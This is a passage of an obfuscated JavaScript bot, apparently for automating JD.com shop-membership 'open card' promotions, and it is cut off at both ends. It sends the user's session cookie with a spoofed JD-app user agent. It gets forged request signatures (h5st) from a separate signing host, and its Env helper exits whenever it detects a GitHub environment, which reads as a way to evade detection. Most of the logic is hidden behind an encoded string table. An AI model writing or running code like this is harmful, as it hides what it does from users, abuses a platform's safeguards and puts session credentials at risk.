5\x6a\x64\x47\x6c\x76\x62\x6b\x6c\x6b\x50\x57\x64\x6c\x64\x46\x4e\x6f\x62\x33\x42\x50\x63\x47\x56\x75\x51\x32\x46\x79\x5a\x45\x6c\x75\x5a\x6d\x38\x6d\x59\x6d\x39\x6b\x65\x54\x30\x3d','\x57\x6e\x6c\x76\x61\x57\x73\x3d','\x63\x33\x52\x79\x61\x57\x35\x6e\x61\x57\x5a\x35','\x4a\x6d\x4e\x73\x61\x57\x56\x75\x64\x44\x31\x49\x4e\x53\x5a\x6a\x62\x47\x6c\x6c\x62\x6e\x52\x57\x5a\x58\x4a\x7a\x61\x57\x39\x75\x50\x54\x6b\x75\x4d\x69\x34\x77\x4a\x6e\x56\x31\x61\x57\x51\x39\x4f\x44\x67\x34\x4f\x44\x67\x3d','\x5a\x56\x64\x6b\x55\x6d\x55\x3d','\x52\x56\x4e\x31\x65\x57\x6f\x3d','\x55\x30\x56\x5a\x65\x6c\x6f\x3d','\x61\x6d\x52\x68\x63\x48\x41\x37\x61\x56\x42\x6f\x62\x32\x35\x6c\x4f\x7a\x6b\x75\x4e\x53\x34\x30\x4f\x7a\x45\x7a\x4c\x6a\x59\x37','\x56\x56\x56\x4a\x52\x41\x3d\x3d','\x4f\x32\x35\x6c\x64\x48\x64\x76\x63\x6d\x73\x76\x64\x32\x6c\x6d\x61\x54\x74\x42\x52\x45\x6c\x45\x4c\x77\x3d\x3d','\x51\x55\x52\x4a\x52\x41\x3d\x3d','\x4f\x32\x31\x76\x5a\x47\x56\x73\x4c\x32\x6c\x51\x61\x47\x39\x75\x5a\x54\x45\x77\x4c\x44\x4d\x37\x59\x57\x52\x6b\x63\x6d\x56\x7a\x63\x32\x6c\x6b\x4c\x7a\x41\x37\x59\x58\x42\x77\x51\x6e\x56\x70\x62\x47\x51\x76\x4d\x54\x59\x33\x4e\x6a\x59\x34\x4f\x32\x70\x6b\x55\x33\x56\x77\x63\x47\x39\x79\x64\x45\x52\x68\x63\x6d\x74\x4e\x62\x32\x52\x6c\x4c\x7a\x41\x37\x54\x57\x39\x36\x61\x57\x78\x73\x59\x53\x38\x31\x4c\x6a\x41\x67\x4b\x47\x6c\x51\x61\x47\x39\x75\x5a\x54\x73\x67\x51\x31\x42\x56\x49\x47\x6c\x51\x61\x47\x39\x75\x5a\x53\x42\x50\x55\x79\x41\x78\x4d\x31\x38\x32\x49\x47\x78\x70\x61\x32\x55\x67\x54\x57\x46\x6a\x49\x45\x39\x54\x49\x46\x67\x70\x49\x45\x46\x77\x63\x47\x78\x6c\x56\x32\x56\x69\x53\x32\x6c\x30\x4c\x7a\x59\x77\x4e\x53\x34\x78\x4c\x6a\x45\x31\x49\x43\x68\x4c\x53\x46\x52\x4e\x54\x43\x77\x67\x62\x47\x6c\x72\x5a\x53\x42\x48\x5a\x57\x4e\x72\x62\x79\x6b\x67\x54\x57\x39\x69\x61\x57\x78\x6c\x4c\x7a\x45\x31\x52\x54\x45\x30\x4f\x44\x74\x7a\x64\x58\x42\x77\x62\x33\x4a\x30\x53\x6b\x52\x54\x53\x46\x64\x4c\x4c\x7a\x45\x3d','\x53\x55\x4e\x55\x55\x47\x59\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x7a\x61\x47\x39\x77\x62\x57\x56\x74\x59\x6d\x56\x79\x4c\x6d\x30\x75\x61\x6d\x51\x75\x59\x32\x39\x74\x4c\x33\x4e\x6f\x62\x33\x42\x6a\x59\x58\x4a\x6b\x4c\x7a\x39\x32\x5a\x57\x35\x6b\x5a\x58\x4a\x4a\x5a\x44\x30\x3d','\x66\x53\x5a\x6a\x61\x47\x46\x75\x62\x6d\x56\x73\x50\x54\x67\x77\x4d\x53\x5a\x79\x5a\x58\x52\x31\x63\x6d\x35\x56\x63\x6d\x77\x39','\x54\x47\x46\x4e\x59\x32\x34\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x56\x63\x6d\x77\x3d','\x5a\x6b\x6c\x5a\x63\x57\x77\x3d','\x5a\x46\x4e\x51\x64\x45\x59\x3d','\x5a\x56\x68\x4e\x5a\x58\x6f\x3d','\x5a\x32\x56\x30','\x56\x45\x5a\x6f\x57\x57\x38\x3d','\x64\x57\x4e\x32\x61\x6d\x45\x3d','\x52\x55\x4e\x7a\x56\x6e\x6b\x3d','\x62\x47\x39\x6e','\x63\x47\x46\x79\x63\x32\x55\x3d','\x63\x33\x56\x6a\x59\x32\x56\x7a\x63\x77\x3d\x3d','\x63\x6d\x56\x7a\x64\x57\x78\x30','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x55\x6e\x56\x73\x5a\x55\x78\x70\x63\x33\x51\x3d','\x62\x33\x42\x6c\x62\x6b\x4e\x68\x63\x6d\x52\x42\x59\x33\x52\x70\x64\x6d\x6c\x30\x65\x55\x6c\x6b','\x61\x57\x35\x30\x5a\x58\x4a\x6c\x63\x33\x52\x7a\x53\x57\x35\x6d\x62\x77\x3d\x3d','\x59\x57\x4e\x30\x61\x58\x5a\x70\x64\x48\x6c\x4a\x5a\x41\x3d\x3d','\x53\x6c\x70\x42\x5a\x6c\x63\x3d','\x53\x46\x46\x44\x5a\x45\x59\x3d','\x62\x48\x56\x55\x63\x6d\x51\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x4a\x74\x5a\x58\x4e\x7a\x59\x57\x64\x6c','\x62\x57\x56\x7a\x63\x32\x46\x6e\x5a\x51\x3d\x3d','\x62\x6d\x4a\x71\x63\x6d\x38\x3d','\x55\x58\x52\x47\x61\x56\x67\x3d','\x52\x46\x6c\x31\x63\x57\x63\x3d','\x54\x57\x5a\x44\x62\x6d\x38\x3d','\x59\x6e\x5a\x59\x57\x46\x6f\x3d','\x56\x6b\x6c\x55\x63\x46\x51\x3d','\x51\x33\x46\x4c\x51\x6c\x67\x3d','\x56\x56\x4e\x76\x5a\x45\x59\x3d','\x52\x47\x6c\x32\x54\x58\x59\x3d','\x56\x48\x6c\x6e\x5a\x6d\x30\x3d','\x59\x6d\x6c\x75\x5a\x46\x64\x70\x64\x47\x68\x57\x5a\x57\x35\x6b\x5a\x58\x49\x3d','\x55\x32\x64\x74\x57\x46\x59\x3d','\x5a\x6d\x35\x42\x61\x32\x6b\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x68\x63\x47\x6b\x75\x62\x53\x35\x71\x5a\x43\x35\x6a\x62\x32\x30\x76\x59\x32\x78\x70\x5a\x57\x35\x30\x4c\x6d\x46\x6a\x64\x47\x6c\x76\x62\x6a\x38\x3d','\x62\x47\x52\x52\x62\x32\x30\x3d','\x54\x55\x70\x53\x63\x45\x63\x3d','\x54\x55\x4e\x6f\x53\x6c\x59\x3d','\x57\x47\x6c\x4b\x63\x6c\x63\x3d','\x6a\x73\x6a\x4b\x7a\x71\x69\x44\x61\x6d\x59\x69\x46\x2e\x52\x4a\x63\x6f\x4f\x65\x6d\x2e\x76\x51\x36\x4b\x43\x62\x3d\x3d'];if(function(_0x2277b4,_0x973061,_0x28df6a){function _0x5bdc51(_0x41f15a,_0x1112ff,_0x8c36a8,_0x1f3f77,_0x1ecf84,_0x5be323){_0x1112ff=_0x1112ff>>0x8,_0x1ecf84='po';var _0x2744bc='shift',_0x2fe2d3='push',_0x5be323='‮';if(_0x1112ff<_0x41f15a){while(--_0x41f15a){_0x1f3f77=_0x2277b4[_0x2744bc]();if(_0x1112ff===_0x41f15a&&_0x5be323==='‮'&&_0x5be323['length']===0x1){_0x1112ff=_0x1f3f77,_0x8c36a8=_0x2277b4[_0x1ecf84+'p']();}else if(_0x1112ff&&_0x8c36a8['replace'](/[KzqDYFRJOeQKCb=]/g,'')===_0x1112ff){_0x2277b4[_0x2fe2d3](_0x1f3f77);}}_0x2277b4[_0x2fe2d3](_0x2277b4[_0x2744bc]());}return 0xde733;};return _0x5bdc51(++_0x973061,_0x28df6a)>>_0x973061^_0x28df6a;}(_0x2521,0x136,0x13600),_0x2521){_0xod2_=_0x2521['length']^0x136;};function _0x219b(_0x19cca3,_0xd01416){_0x19cca3=~~'0x'['concat'](_0x19cca3['slice'](0x1));var _0x5e241a=_0x2521[_0x19cca3];if(_0x219b['SQLhKl']===undefined&&'‮'['length']===0x1){(function(){var _0x2a4157;try{var _0x1a3b6e=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x2a4157=_0x1a3b6e();}catch(_0x5649f7){_0x2a4157=window;}var _0x41452e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2a4157['atob']||(_0x2a4157['atob']=function(_0x2e050a){var _0x44c966=String(_0x2e050a)['replace'](/=+$/,'');for(var _0xd76250=0x0,_0x14d201,_0x5e06c3,_0x19370a=0x0,_0x2309e9='';_0x5e06c3=_0x44c966['charAt'](_0x19370a++);~_0x5e06c3&&(_0x14d201=_0xd76250%0x4?_0x14d201*0x40+_0x5e06c3:_0x5e06c3,_0xd76250++%0x4)?_0x2309e9+=String['fromCharCode'](0xff&_0x14d201>>(-0x2*_0xd76250&0x6)):0x0){_0x5e06c3=_0x41452e['indexOf'](_0x5e06c3);}return _0x2309e9;});}());_0x219b['cHEEak']=function(_0x1d83d8){var _0x5d1157=atob(_0x1d83d8);var _0x557fcf=[];for(var _0xa1d923=0x0,_0x302be1=_0x5d1157['length'];_0xa1d923<_0x302be1;_0xa1d923++){_0x557fcf+='%'+('00'+_0x5d1157['charCodeAt'](_0xa1d923)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x557fcf);};_0x219b['yVqUlS']={};_0x219b['SQLhKl']=!![];}var _0x1eab5b=_0x219b['yVqUlS'][_0x19cca3];if(_0x1eab5b===undefined){_0x5e241a=_0x219b['cHEEak'](_0x5e241a);_0x219b['yVqUlS'][_0x19cca3]=_0x5e241a;}else{_0x5e241a=_0x1eab5b;}return _0x5e241a;};function getShopOpenCardInfo(_0x427ea7,_0xd8a74){var _0x57a1ec={'\x54\x46\x68\x59\x6f':function(_0x3bf920,_0xb95601){return _0x3bf920!==_0xb95601;},'\x75\x63\x76\x6a\x61':_0x219b('‮0'),'\x45\x43\x73\x56\x79':_0x219b('‫1'),'\x4a\x5a\x41\x66\x57':_0x219b('‮2'),'\x48\x51\x43\x64\x46':_0x219b('‫3'),'\x6c\x75\x54\x72\x64':_0x219b('‫4'),'\x6e\x62\x6a\x72\x6f':function(_0x1ae4cf,_0x16a0a7){return _0x1ae4cf===_0x16a0a7;},'\x51\x74\x46\x69\x58':_0x219b('‮5'),'\x4d\x66\x43\x6e\x6f':function(_0x524909,_0xd1e9e6){return _0x524909===_0xd1e9e6;},'\x62\x76\x58\x58\x5a':_0x219b('‮6'),'\x56\x49\x54\x70\x54':function(_0x4fae49){return _0x4fae49();},'\x5a\x79\x6f\x69\x6b':function(_0x21d446,_0x2a69bc){return _0x21d446(_0x2a69bc);},'\x64\x53\x50\x74\x46':function(_0x361710,_0x4e7aec){return _0x361710===_0x4e7aec;},'\x65\x58\x4d\x65\x7a':_0x219b('‫7'),'\x65\x57\x64\x52\x65':_0x219b('‮8'),'\x45\x53\x75\x79\x6a':_0x219b('‫9'),'\x53\x45\x59\x7a\x5a':_0x219b('‫a'),'\x49\x43\x54\x50\x66':_0x219b('‮b'),'\x4c\x61\x4d\x63\x6e':function(_0x4511c8,_0x436c7f){return _0x4511c8(_0x436c7f);},'\x66\x49\x59\x71\x6c':_0x219b('‫c')};let _0x43735d={'\x75\x72\x6c':_0x219b('‮d')+_0x57a1ec[_0x219b('‮e')](encodeURIComponent,JSON[_0x219b('‫f')](_0x427ea7))+_0x219b('‫10'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x57a1ec[_0x219b('‮11')],'\x41\x63\x63\x65\x70\x74':_0x57a1ec[_0x219b('‫12')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x57a1ec[_0x219b('‮13')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x57a1ec[_0x219b('‫19')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0xd8a74+_0x219b('‫1b')+_0x57a1ec[_0x219b('‫1c')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x57a1ec[_0x219b('‮1e')]}};return new Promise(_0x4d8528=>{var _0x4a857c={'\x44\x59\x75\x71\x67':function(_0x1cc541,_0x551ac5){return _0x57a1ec[_0x219b('‮e')](_0x1cc541,_0x551ac5);}};if(_0x57a1ec[_0x219b('‫1f')](_0x57a1ec[_0x219b('‫20')],_0x57a1ec[_0x219b('‫20')])){$[_0x219b('‮21')](_0x43735d,(_0x42bd53,_0xba57c8,_0x114bc1)=>{try{if(_0x42bd53){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮23')],_0x57a1ec[_0x219b('‮24')])){console[_0x219b('‫25')](_0x42bd53);}else{res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‫2d')],_0x57a1ec[_0x219b('‮2e')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮2f')],_0x57a1ec[_0x219b('‮2f')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}catch(_0x435943){if(_0x57a1ec[_0x219b('‮32')](_0x57a1ec[_0x219b('‮33')],_0x57a1ec[_0x219b('‮33')])){console[_0x219b('‫25')](_0x435943);}else{_0x4a857c[_0x219b('‮34')](_0x4d8528,_0x114bc1);}}finally{if(_0x57a1ec[_0x219b('‫35')](_0x57a1ec[_0x219b('‮36')],_0x57a1ec[_0x219b('‮36')])){_0x57a1ec[_0x219b('‮37')](_0x4d8528);}else{if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}});}else{console[_0x219b('‫25')](err);}});}async function bindWithVender(_0x6a4f96,_0x2eb643){var _0x5c8438={'\x48\x59\x47\x66\x70':function(_0x343f54,_0x48d0e2){return _0x343f54===_0x48d0e2;},'\x4b\x53\x44\x54\x4a':_0x219b('‫38'),'\x79\x6a\x7a\x42\x46':function(_0x3b41cd,_0x4dfdef){return _0x3b41cd===_0x4dfdef;},'\x56\x43\x49\x4c\x59':_0x219b('‫39'),'\x5a\x66\x64\x58\x6f':_0x219b('‫3a'),'\x6d\x46\x69\x67\x6e':function(_0xb6e3d8,_0x23686f){return _0xb6e3d8===_0x23686f;},'\x7a\x74\x63\x78\x63':_0x219b('‫3b'),'\x48\x54\x41\x44\x44':function(_0xb2175d){return _0xb2175d();},'\x53\x67\x6d\x58\x56':function(_0x5c652b,_0x377eb0,_0x40b9c8){return _0x5c652b(_0x377eb0,_0x40b9c8);},'\x66\x6e\x41\x6b\x69':_0x219b('‫3c'),'\x6c\x64\x51\x6f\x6d':_0x219b('‮8'),'\x4d\x4a\x52\x70\x47':_0x219b('‫9'),'\x4d\x43\x68\x4a\x56':_0x219b('‫a'),'\x58\x69\x4a\x72\x57':_0x219b('‮b'),'\x6b\x4a\x62\x63\x68':function(_0x43c66b,_0x13d811){return _0x43c66b(_0x13d811);},'\x77\x49\x6a\x61\x4d':_0x219b('‫c')};return h5st=await _0x5c8438[_0x219b('‫3d')](geth5st,_0x5c8438[_0x219b('‫3e')],_0x6a4f96),opt={'\x75\x72\x6c':_0x219b('‮3f')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5c8438[_0x219b('‮40')],'\x41\x63\x63\x65\x70\x74':_0x5c8438[_0x219b('‮41')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5c8438[_0x219b('‫42')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x5c8438[_0x219b('‮43')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0x2eb643+_0x219b('‮44')+_0x5c8438[_0x219b('‫45')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x5c8438[_0x219b('‫46')]}},new Promise(_0x215897=>{$[_0x219b('‮21')](opt,(_0x52284b,_0x327a7e,_0x1bb051)=>{try{if(_0x52284b){if(_0x5c8438[_0x219b('‫47')](_0x5c8438[_0x219b('‫48')],_0x5c8438[_0x219b('‫48')])){console[_0x219b('‫25')](_0x52284b);}else{console[_0x219b('‫25')](error);}}else{if(_0x5c8438[_0x219b('‮49')](_0x5c8438[_0x219b('‮4a')],_0x5c8438[_0x219b('‫4b')])){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}catch(_0x55bfed){if(_0x5c8438[_0x219b('‮4c')](_0x5c8438[_0x219b('‮4d')],_0x5c8438[_0x219b('‮4d')])){console[_0x219b('‫25')](_0x55bfed);}else{if(_0x52284b){console[_0x219b('‫25')](_0x52284b);}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}finally{_0x5c8438[_0x219b('‮4e')](_0x215897);}});});}function geth5st(_0x1103d7,_0x586621){var _0x430883={'\x51\x54\x44\x47\x56':function(_0x1e7d03){return _0x1e7d03();},'\x55\x66\x63\x6b\x66':function(_0x5ab017,_0x2b8838){return _0x5ab017*_0x2b8838;},'\x77\x47\x79\x73\x6d':function(_0x5935c8,_0x185779){return _0x5935c8!==_0x185779;},'\x65\x50\x69\x61\x4e':_0x219b('‫4f'),'\x6a\x65\x65\x6c\x4c':_0x219b('‮50'),'\x75\x55\x62\x72\x6a':function(_0x1a5aa8,_0x52ae2c){return _0x1a5aa8===_0x52ae2c;},'\x67\x44\x42\x75\x58':_0x219b('‫51'),'\x6f\x54\x41\x6e\x4b':_0x219b('‫52'),'\x62\x76\x78\x6e\x42':function(_0xa50297,_0x6b8ce2){return _0xa50297(_0x6b8ce2);},'\x48\x52\x45\x63\x64':_0x219b('‮53'),'\x75\x7a\x72\x61\x4e':_0x219b('‮54'),'\x48\x4f\x70\x44\x51':_0x219b('‫55'),'\x6c\x73\x6b\x70\x45':_0x219b('‮56'),'\x68\x4b\x79\x4e\x43':_0x219b('‮57'),'\x51\x6d\x4f\x72\x54':_0x219b('‫58'),'\x75\x42\x74\x6e\x47':_0x219b('‮59'),'\x6b\x59\x50\x46\x52':_0x219b('‮5a')};return new Promise(async _0x255c7d=>{var _0x373d32={'\x73\x55\x46\x44\x4e':function(_0x16c255){return _0x430883[_0x219b('‫5b')](_0x16c255);},'\x45\x47\x68\x47\x77':function(_0x2bd73b,_0xef9125){return _0x430883[_0x219b('‮5c')](_0x2bd73b,_0xef9125);},'\x72\x56\x55\x6c\x59':function(_0x3d06bf,_0x4e3e01){return _0x430883[_0x219b('‫5d')](_0x3d06bf,_0x4e3e01);},'\x57\x45\x75\x42\x52':_0x430883[_0x219b('‮5e')],'\x71\x66\x47\x4c\x74':_0x430883[_0x219b('‫5f')],'\x52\x44\x76\x57\x6b':function(_0xd1e750,_0x1d575d){return _0x430883[_0x219b('‫60')](_0xd1e750,_0x1d575d);},'\x61\x53\x65\x47\x43':_0x430883[_0x219b('‮61')],'\x77\x53\x4e\x50\x77':_0x430883[_0x219b('‮62')],'\x73\x76\x6a\x4b\x48':function(_0x2a1cfb,_0x46f22f){return _0x430883[_0x219b('‮63')](_0x2a1cfb,_0x46f22f);}};if(_0x430883[_0x219b('‫5d')](_0x430883[_0x219b('‮64')],_0x430883[_0x219b('‮64')])){$[_0x219b('‫65')](e,resp);}else{let _0x30ff4={'\x61\x70\x70\x49\x64':_0x430883[_0x219b('‮66')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0x430883[_0x219b('‮67')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x1103d7,'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x586621),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x430883[_0x219b('‫68')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x219b('‫2c')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x2be600='';let _0xb852e3=[_0x430883[_0x219b('‮69')]];if(process[_0x219b('‫6a')][_0x219b('‮6b')]){if(_0x430883[_0x219b('‫60')](_0x430883[_0x219b('‮6c')],_0x430883[_0x219b('‫6d')])){_0x373d32[_0x219b('‮6e')](_0x255c7d);}else{_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x430883[_0x219b('‮5c')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}let _0x1ba80c={'\x75\x72\x6c':_0x219b('‮72'),'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x30ff4),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x2be600,'Content-Type':_0x430883[_0x219b('‫73')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0x430883[_0x219b('‮5c')](0x1e,0x3e8)};$[_0x219b('‫74')](_0x1ba80c,async(_0x46941b,_0x74988f,_0x30ff4)=>{try{if(_0x46941b){if(_0x373d32[_0x219b('‮75')](_0x373d32[_0x219b('‮76')],_0x373d32[_0x219b('‫77')])){_0x30ff4=await geth5st[_0x219b('‮78')](this,arguments);}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x373d32[_0x219b('‮79')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}}else{}}catch(_0x290dbf){$[_0x219b('‫65')](_0x290dbf,_0x74988f);}finally{if(_0x373d32[_0x219b('‫7a')](_0x373d32[_0x219b('‫7b')],_0x373d32[_0x219b('‮7c')])){_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}else{_0x373d32[_0x219b('‮7d')](_0x255c7d,_0x30ff4);}}});}});};_0xod2='jsjiami.com.v6'; -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 